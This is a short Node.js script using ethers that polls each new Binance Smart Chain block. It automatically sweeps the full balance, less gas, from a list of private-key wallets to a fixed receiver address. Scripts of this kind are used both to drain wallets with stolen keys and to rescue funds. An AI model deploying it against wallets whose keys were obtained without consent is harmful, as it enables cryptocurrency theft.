└── bot.js /bot.js: -------------------------------------------------------------------------------- 1 | const { ethers } = require('ethers') 2 | 3 | const provider = new ethers.providers.JsonRpcProvider('https://bsc-dataseed.binance.org/') 4 | 5 | 6 | 7 | 8 | 9 | const addressReceiver = '' 10 | 11 | const privateKeys = [""] 12 | 13 | const bot = async =>{ 14 | 15 | 16 | 17 | provider.on('block', async () => { 18 | try { 19 | 20 | 21 | console.log('Listening to new block, waiting ;)'); 22 | 23 | for (let i = 0; i < privateKeys.length; i++) { 24 | 25 | const _target = new ethers.Wallet(privateKeys[i]); 26 | const target = _target.connect(provider); 27 | const balance = await provider.getBalance(target.address); 28 | console.log(balance.toString()) 29 | 30 | const gasPrice = await provider.getGasPrice(); 31 | //estimate gas for transfer of all balance 32 | const gasLimit = await target.estimateGas({ 33 | to: addressReceiver, 34 | value: balance 35 | }); 36 | console.log(gasLimit); 37 | const gas1 = gasLimit.mul(5) 38 | const gas2 = gas1.div(3) 39 | const totalGasCost = gas2.mul(gasPrice); 40 | console.log(totalGasCost); 41 | if (balance.sub(totalGasCost) > 0) { 42 | console.log("New Account with Eth!"); 43 | const amount = balance.sub(totalGasCost); 44 | 45 | try { 46 | await target.sendTransaction({ 47 | to: addressReceiver, 48 | value: amount 49 | 50 | 51 | }); 52 | console.log(`Success! transferred -->${ethers.utils.formatEther(amount)}`); //replaced the balance to amount 53 | } catch (e) { 54 | console.log(`error: ${e}`); 55 | } 56 | } 57 | 58 | } 59 | } 60 | catch (err){ 61 | console.log(err) 62 | } 63 | }) 64 | } 65 | 66 | bot(); 67 | --------------------------------------------------------------------------------